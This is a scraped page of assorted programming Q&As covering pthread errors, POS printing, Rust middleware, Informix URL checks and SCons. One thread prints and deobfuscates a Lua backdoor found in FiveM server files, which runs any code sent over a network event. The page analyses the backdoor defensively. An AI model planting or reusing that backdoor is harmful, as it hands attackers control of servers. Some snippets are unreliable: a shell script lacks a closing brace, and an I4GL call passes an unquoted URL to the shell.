How to read the manual page for POSIX refering to error codes? - pthreads

I am currently working with pthread and read the documentation from here: Pthread Manual Pthread Join.
However, when I read the pages I see the ERRORS, but not the corresponding return values, which will get returned from pthread_join. So my question is, are the ERRORS ordered in ascending order (since it might be an enumerator)?

Error values such as EDEADLK are macros defined by including the <errno.h> header file.
Example:
#include <pthread.h>
#include <errno.h>
...
int retval = pthread_join( threadID, NULL );
if ( retval == EDEADLK )
{
// error-handling code for deadlock
}
else if ( retval == EINVAL )
{
// error-handling code for invalid thread id
}
else if ( retval == ESRCH )
{
// error-handling code for no such thread id
}
Note that the above code is correct only for Linux, as the only error number specified by POSIX for pthread_join() is EDEADLCK.
Per the POSIX standard for error numbers, (bolded portions particularly relevant to your question):
2.3 Error Numbers
Most functions can provide an error number. The means by which each
function provides its error numbers is specified in its description.
Some functions provide the error number in a variable accessed through
the symbol errno, defined by including the <errno.h> header.
The value of errno should only be examined when it is indicated to
be valid by a function's return value. No function in this volume of
POSIX.1-2008 shall set errno to zero. For each thread of a process,
the value of errno shall not be affected by function calls or
assignments to errno by other threads.
Some functions return an error number directly as the function value. These functions return a value of zero to indicate success.
If more than one error occurs in processing a function call, any one
of the possible errors may be returned, as the order of detection is
undefined.
Implementations may support additional errors not included in this
list, may generate errors included in this list under circumstances
other than those described here, or may contain extensions or
limitations that prevent some errors from occurring.
The ERRORS section on each reference page specifies which error
conditions shall be detected by all implementations ("shall fail") and
which may be optionally detected by an implementation ("may fail"). If
no error condition is detected, the action requested shall be
successful. If an error condition is detected, the action requested
may have been partially performed, unless otherwise stated.
Implementations may generate error numbers listed here under
circumstances other than those described, if and only if all those
error conditions can always be treated identically to the error
conditions as described in this volume of POSIX.1-2008.
Implementations shall not generate a different error number from one
required by this volume of POSIX.1-2008 for an error condition
described in this volume of POSIX.1-2008, but may generate additional
errors unless explicitly disallowed for a particular function.
Each implementation shall document, in the conformance document,
situations in which each of the optional conditions defined in
POSIX.1-2008 is detected. The conformance document may also contain
statements that one or more of the optional error conditions are not
detected.
Certain threads-related functions are not allowed to return an error
code of [EINTR]. Where this applies it is stated in the ERRORS section
on the individual function pages.
The following macro names identify the possible error numbers, in the context of the functions specifically defined in this volume of
POSIX.1-2008; these general descriptions are more precisely defined in
the ERRORS sections of the functions that return them. Only these
macro names should be used in programs, since the actual value of the
error number is unspecified. All values listed in this section shall
be unique, except as noted below. The values for all these macros
shall be found in the <errno.h> header defined in the Base
Definitions volume of POSIX.1-2008. The actual values are unspecified
by this volume of POSIX.1-2008.
[E2BIG]
Argument list too long. The sum of the number of bytes
used by the new process image's argument list and environment
list is greater than the system-imposed limit of {ARG_MAX} bytes.
or:
Lack of space in an output buffer.
or:
Argument is greater than the system-imposed maximum.
[EACCES]
Permission denied. An attempt was made to access a file
in a way forbidden by its file access permissions.
[EADDRINUSE]
Address in use. The specified address is in use.
[EADDRNOTAVAIL]
Address not available. The specified address is not
available from the local system.
[EAFNOSUPPORT]
Address family not supported. The implementation does
not support the specified address family, or the specified
address is not a valid address for the address family
of the specified socket.
[EAGAIN]
Resource temporarily unavailable. This is a temporary
condition and later calls to the same routine may complete
normally.
[EALREADY]
Connection already in progress. A connection request is already
in progress for the specified socket.
.
.
.

Related

Does this line of Lua code contain any malicious activities?

So while looking at some server files (FiveM/GTA RP Server Files) my friend sent me, I found a line of code that was placed all over the Server's Resources, is it malicious?, since i checked "Hex to ASCII Text String Converter", it looks like it might be an attempt to inject some code into the Lua environment. The code creates a table with several strings that are encoded in hexadecimal format. These strings are then used to access elements in the global environment (_G) and call them as functions. The code also sets up an event listener for the "load" event, which could indicate that the code is intended to run when a specific event occurs in the environment.
Code:
local ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G}
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[1]
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6][ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[3]](ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[2],
function(BFWCBOOqrwrVwzdmKcQZBRMziBAgjQbWLfBPFXhZUzCWlOjKNLUGOYvDisfytJZwIDtHyn)
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[4]()
end)local
ASCII Text to Hex Code Converter
Image
ASCII Text to Hex Code Converter
Response 2
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG is just a variable name. It's not a very nice one, but it is just a variable name.
{"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64"}
is the table:
{"RegisterNetEvent", "helpCode", "AddEventHandler", "assert", "load"}
with the bytes encoded as hex bytes rather than literal characters.
This deobfuscates to:
local funcs = {
"RegisterNetEvent",
"helpCode",
"AddEventHandler",
"assert",
"load",
_G
};
funcs[6][funcs[1]](funcs[2]);
funcs[6][funcs[3]](funcs[2], function(param)
(funcs[6][funcs[4]](funcs[6][funcs[5]](param)))();
end);
Tables in Lua are 1-indexed, so this further deobfuscates to
_G["RegisterNetEvent"]("helpCode");
_G["AddEventHandler"]("helpCode", function(param)
(_G["assert"](_G["load"](param)))();
end);
And could be simplified to
RegisterNetEvent("helpCode")
AddEventHandler("helpCode", function(param)
assert(load(param))()
end)
While it doesn't look blatantly malicious, it does appear to directly compile and invoke raw code received via the "helpCode" network event, which is certainly dangerous if it's used maliciously. It's possible that this is part of some funny dynamic plugin system, but it's equally possible that it's a backdoor designed to give a network attacker command-and-control over the process.
load is not an event, but the global function used to compile code from a string. The essentially causes the script to listen for a helpCode network event, receive whatever payload from the network event, compile it as Lua code, and execute it. Given that it doesn't even attempt to do any sandboxing of the load'd code, I wouldn't run this without a very comprehensive understanding of how it's being used.

How to draw line with Microsoft POS Printer

I am using the Microsoft Point Of Service SDK and I am testing both in my application and the Sample provided with the SDK to try and print a Line with code similar to this:
posPrinter.DrawRuledLine(PrinterStation.Receipt, "0,500", LineDirection.Horizontal, 1, LineStyle.BrokenLine, 1);
I get this error:
POSControlException ErrorCode(Illegal) ExtendedErrorCode(0) occurred: Method DrawRuledLine threw an exception. Attempt was made to perform an illegal or unsupported operation with the device, or an invalid parameter value was used.
Microsoft POS has a tendency to throw very generic errors and I don't know what I am doing wrong. I had similar errors on other methods and it turned out it was because I was passing a parameter that didn't quite work, like a too big a width. But I have tested all kinds of combinations and this always fails. And there is no enough documentation on the parameters it receives.
What parameters do I need to pass to this method to draw a line? Is this the preferred way to draw a line with Microsoft POS?
Microsoft Point Of Service(part of the UnifiedPOS implementation) is an API with an abstract standard specification and does not have all the features of a real printer.
If your printer and the service object that runs it do not have DrawRuledLine functionality, you will get that error.
ErrorCode Enumeration (POS for .NET v1.12 SDK Documentation)
Illegal
An attempt was made to perform an illegal or unsupported operation with the device, or an invalid parameter value was used.
The presence or absence of the function can be confirmed in advance by checking the value of the CapRecRuledLine(CapSlpRuledLine for Slip stations) property.
If you want to draw a line on a receipt with this DrawRuledLine method, you need to switch to a printer and service object that supports that feature.
If you don't want to change the printer, you'll have to replace it with a character line.

How does one inject dependencies like a logger, database connection, or SHA256 generator in Iron? [duplicate]

In writing my tests, I'd like to be able to inject a connection into the request so that I can wrap the entire test case in a transaction (even if there is more than one request in the test case).
I've attempted to do this using a BeforeMiddleware which I can link in my test cases to insert a connection, as such:
pub type DatabaseConnection = PooledConnection<ConnectionManager<PgConnection>>;
pub struct DatabaseOverride {
conn: DatabaseConnection,
}
impl BeforeMiddleware for DatabaseOverride {
fn before(&self, req: &mut Request) -> IronResult<()> {
req.extensions_mut().entry::<DatabaseOverride>().or_insert(self.conn);
Ok(())
}
}
However, I'm encountering a compile error in trying to do this:
error: the trait bound `std::rc::Rc<diesel::pg::connection::raw::RawConnection>: std::marker::Sync` is not satisfied [E0277]
impl BeforeMiddleware for DatabaseOverride {
^~~~~~~~~~~~~~~~
help: run `rustc --explain E0277` to see a detailed explanation
note: `std::rc::Rc<diesel::pg::connection::raw::RawConnection>` cannot be shared between threads safely
note: required because it appears within the type `diesel::pg::PgConnection`
note: required because it appears within the type `r2d2::Conn<diesel::pg::PgConnection>`
note: required because it appears within the type `std::option::Option<r2d2::Conn<diesel::pg::PgConnection>>`
note: required because it appears within the type `r2d2::PooledConnection<r2d2_diesel::ConnectionManager<diesel::pg::PgConnection>>`
note: required because it appears within the type `utility::db::DatabaseOverride`
note: required by `iron::BeforeMiddleware`
error: the trait bound `std::cell::Cell<i32>: std::marker::Sync` is not satisfied [E0277]
impl BeforeMiddleware for DatabaseOverride {
^~~~~~~~~~~~~~~~
help: run `rustc --explain E0277` to see a detailed explanation
note: `std::cell::Cell<i32>` cannot be shared between threads safely
note: required because it appears within the type `diesel::pg::PgConnection`
note: required because it appears within the type `r2d2::Conn<diesel::pg::PgConnection>`
note: required because it appears within the type `std::option::Option<r2d2::Conn<diesel::pg::PgConnection>>`
note: required because it appears within the type `r2d2::PooledConnection<r2d2_diesel::ConnectionManager<diesel::pg::PgConnection>>`
note: required because it appears within the type `utility::db::DatabaseOverride`
note: required by `iron::BeforeMiddleware`
Is there a way around this with diesel's connections? I've found several examples on Github to do this using the pg crate, but I'd like to keep using diesel.
This answer will certainly solve the problem, but it's not optimal. As mentioned, you can't share a single connection as it's not thread safe. However, while wrapping it in a Mutex makes it thread-safe, it would force all the server threads to use a single connection. Instead, you want to use a connection pool.
You can accomplish this with the r2d2 and r2d2-diesel crates. This will establish multiple connections as needed, and reuse them when possible in a thread safe manner.
Since there isn't enough code provided for me to reproduce your issue, I've made this:
use std::cell::Cell;
trait Middleware: Sync {}
struct Unsharable(Cell<bool>);
impl Middleware for Unsharable {}
fn main() {}
which has the same error:
error: the trait bound `std::cell::Cell<bool>: std::marker::Sync` is not satisfied [E0277]
impl Middleware for Unsharable {}
^~~~~~~~~~
help: run `rustc --explain E0277` to see a detailed explanation
note: `std::cell::Cell<bool>` cannot be shared between threads safely
note: required because it appears within the type `Unsharable`
note: required by `Middleware`
You can solve the problem by changing the type to make it cross-thread compatible:
use std::sync::Mutex;
struct Sharable(Mutex<Unsharable>);
impl Middleware for Sharable {}
Note that Rust has done a very good thing for you: it prevented you from using a type that is unsafe to be called in multiple threads.
In writing my tests, I'd like to be able to inject a connection into the request so that I can wrap the entire test case in a transaction (even if there is more than one request in the test case).
I'd suggest that it's possible an architectural change would be even better. Separate the domains of "web framework" from your "database". The authors of Growing Object-Oriented Software, Guided by Tests (a highly recommended book) advocate for this style.
Pull apart your code such that there is a method that simply accepts some type that can start / end a transaction, write the interesting stuff there, and test it thoroughly. Then have just enough glue code in the web layer to create a transaction object, then call the next layer down.

Validate URL in Informix 4GL program

In my Informix 4GL program, I have an input field where the user can insert a URL and the feed is later being sent over to the web via a script.
How can I validate the URL at the time of input, to ensure that it's a live link? Can I make a call and see if I get back any errors?
I4GL checking the URL
There is no built-in function to do that (URLs didn't exist when I4GL was invented, amongst other things).
If you can devise a C method to do that, you can arrange to call that method through the C interface. You'll write the method in native C, and then write an I4GL-callable C interface function using the normal rules. When you build the program with I4GL c-code, you'll link the extra C functions too. If you build the program with I4GL-RDS (p-code), you'll need to build a custom runner with the extra function(s) exposed. All of this is standard technique for I4GL.
In general terms, the C interface code you'll need will look vaguely like this:
#include <fglsys.h>
// Standard interface for I4GL-callable C functions
extern int i4gl_validate_url(int nargs);
// Using obsolescent interface functions
int i4gl_validate_url(int nargs)
{
if (nargs != 1)
fgl_fatal(__FILE__, __LINE__, -1318);
char url[4096];
popstring(url, sizeof(url));
int r = validate_url(url); // Your C function
retint(r);
return 1;
}
You can and should check the manuals but that code, using the 'old style' function names, should compile correctly. The code can be called in I4GL like this:
DEFINE url CHAR(256)
DEFINE rc INTEGER
LET url = "http://www.google.com/"
LET rc = i4gl_validate_url(url)
IF rc != 0 THEN
ERROR "Invalid URL"
ELSE
MESSAGE "URL is OK"
END IF
Or along those general lines. Exactly what values you return depends on your decisions about how to return a status from validate_url(). If need so be, you can return multiple values from the interface function (e.g. error number and text of error message). Etc. This is about the simplest possible design for calling some C code to validate a URL from within an I4GL program.
Modern C interface functions
The function names in the interface library were all changed in the mid-00's, though the old names still exist as macros. The old names were:
popstring(char *buffer, int buflen)
retint(int retval)
fgl_fatal(const char *file, int line, int errnum)
You can find the revised documentation at IBM Informix 4GL v7.50.xC3: Publication library in PDF in the 4GL Reference Manual, and you need Appendix C "Using C with IBM Informix 4GL".
The new names start ibm_lib4gl_:
ibm_libi4gl_popMInt()
ibm_libi4gl_popString()
As to the error reporting function, there is one — it exists — but I don't have access to documentation for it any more. It'll be in the fglsys.h header. It takes an error number as one argument; there's the file name and a line number as the other arguments. And it will, presumably, be ibm_lib4gl_… and there'll be probably be Fatal or perhaps fatal (or maybe Err or err) in the rest of the name.
I4GL running a script that checks the URL
Wouldn't it be easier to write a shell script to get the status code? That might work if I can return the status code or any existing results back to the program into a variable? Can I do that?
Quite possibly. If you want the contents of the URL as a string, though, you'll might end up wanting to call C. It is certainly worth thinking about whether calling a shell script from within I4GL is doable. If so, it will be a lot simpler (RUN "script", IIRC, where the literal string would probably be replaced by a built-up string containing the command and the URL). I believe there are file I/O functions in I4GL now, too, so if you can get the script to write a file (trivial), you can read the data from the file without needing custom C. For a long time, you needed custom C to do that.
I just need to validate the URL before storing it into the database. I was thinking about:
#!/bin/bash
read -p "URL to check: " url
if curl --output /dev/null --silent --head --fail "$url"; then
printf '%s\n' "$url exist"
else
printf '%s\n' "$url does not exist"
fi
but I just need the output instead of /dev/null to be into a variable. I believe the only option is to dump the output into a temp file and read from there.
Instead of having I4GL run the code to validate the URL, have I4GL run a script to validate the URL. Use the exit status of the script and dump the output of curl into /dev/null.
FUNCTION check_url(url)
DEFINE url VARCHAR(255)
DEFINE command_line VARCHAR(255)
DEFINE exit_status INTEGER
LET command_line = "check_url ", url
RUN command_line RETURNING exit_status
RETURN exit_status
END FUNCTION {check_url}
Your calling code can analyze exit_status to see whether it worked. A value of 0 indicates success; non-zero indicates a problem of some sort, which can be deemed 'URL does not work'.
Make sure the check_url script (a) exits with status zero on success and non-zero on any sort of failure, and (b) doesn't write anything to standard output (or standard error) by default. The writing to standard error or output will screw up screen layouts, etc, and you do not want that. (You can obviously have options to the script that enable standard output, or you can invoke the script with options to suppress standard output and standard error, or redirect the outputs to /dev/null; however, when used by the I4GL program, it should be silent.)
Your 'script' (check_url) could be as simple as:
#!/bin/bash
exec curl --output /dev/null --silent --head --fail "${1:-http://www.example.com/"
This passes the first argument to curl, or the non-existent example.com URL if no argument is given, and replaces itself with curl, which generates a zero/non-zero exit status as required. You might add 2>/dev/null to the end of the command line to ensure that error messages are not seen. (Note that it will be hell debugging this if anything goes wrong; make sure you've got provision for debugging.)
The exec is a minor optimization; you could omit it with almost no difference in result. (I could devise a scheme that would probably spot the difference; it involves signalling the curl process, though — kill -9 9999 or similar, where the 9999 is the PID of the curl process — and isn't of practical significance.)
Given that the script is just one line of code that invokes another program, it would be possible to embed all that in the I4GL program. However, having an external shell script (or Perl script, or …) has merits of flexibility; you can edit it to log attempts, for example, without changing the I4GL code at all. One more file to distribute, but better flexibility — keep a separate script, even though it could all be embedded in the I4GL.
As Jonathan said "URLs didn't exist when I4GL was invented, amongst other things". What you will find is that the products that have grown to superceed Informix-4gl such as FourJs Genero will cater for new technologies and other things invented after I4GL.
Using FourJs Genero, the code below will do what you are after using the Informix 4gl syntax you are familiar with
IMPORT com
MAIN
-- Should succeed and display 1
DISPLAY validate_url("http://www.google.com")
DISPLAY validate_url("http://www.4js.com/online_documentation/fjs-fgl-manual-html/index.html#c_fgl_nf.html") -- link to some of the features added to I4GL by Genero
-- Should fail and display 0
DISPLAY validate_url("http://www.google.com/testing")
DISPLAY validate_url("http://www.google2.com")
END MAIN
FUNCTION validate_url(url)
DEFINE url STRING
DEFINE req com.HttpRequest
DEFINE resp com.HttpResponse
-- Returns TRUE if http request to a URL returns 200
TRY
LET req = com.HttpRequest.create(url)
CALL req.doRequest()
LET resp = req.getResponse()
IF resp.getStatusCode() = 200 THEN
RETURN TRUE
END IF
-- May want to handle other HTTP status codes
CATCH
-- May want to capture case if not connected to internet etc
END TRY
RETURN FALSE
END FUNCTION

Checking macro definition with scons?

I am checking for the presence of VTK with Conftest.CheckHeader.
Specifically, I check for <vtkVersion.h> being found. Now I would like to see what the version of VTK actually is, which could be done by inspecting VTK_MAJOR_VERSION and VTK_MINOR_VERSION. Is there a clean way to do that in SCons, e.g. somehow returning preprocessed source which would simply contain VTK_MAJOR_VERSION VTK_MINOR_VERSION and return 6 0?
You might try (from scons manpage)
CheckContext.TryRun(self, text, extension)
Checks, if a file with the specified extension (e.g. '.c') containing text can be compiled using the environment's Program
builder. On success, the program is run. If the program executes
successfully (that is, its return status is 0), a tuple (1, outputStr)
is returned, where outputStr is the standard output of the program. If
the program fails execution (its return status is non-zero), then (0,
'') is returned.

Resources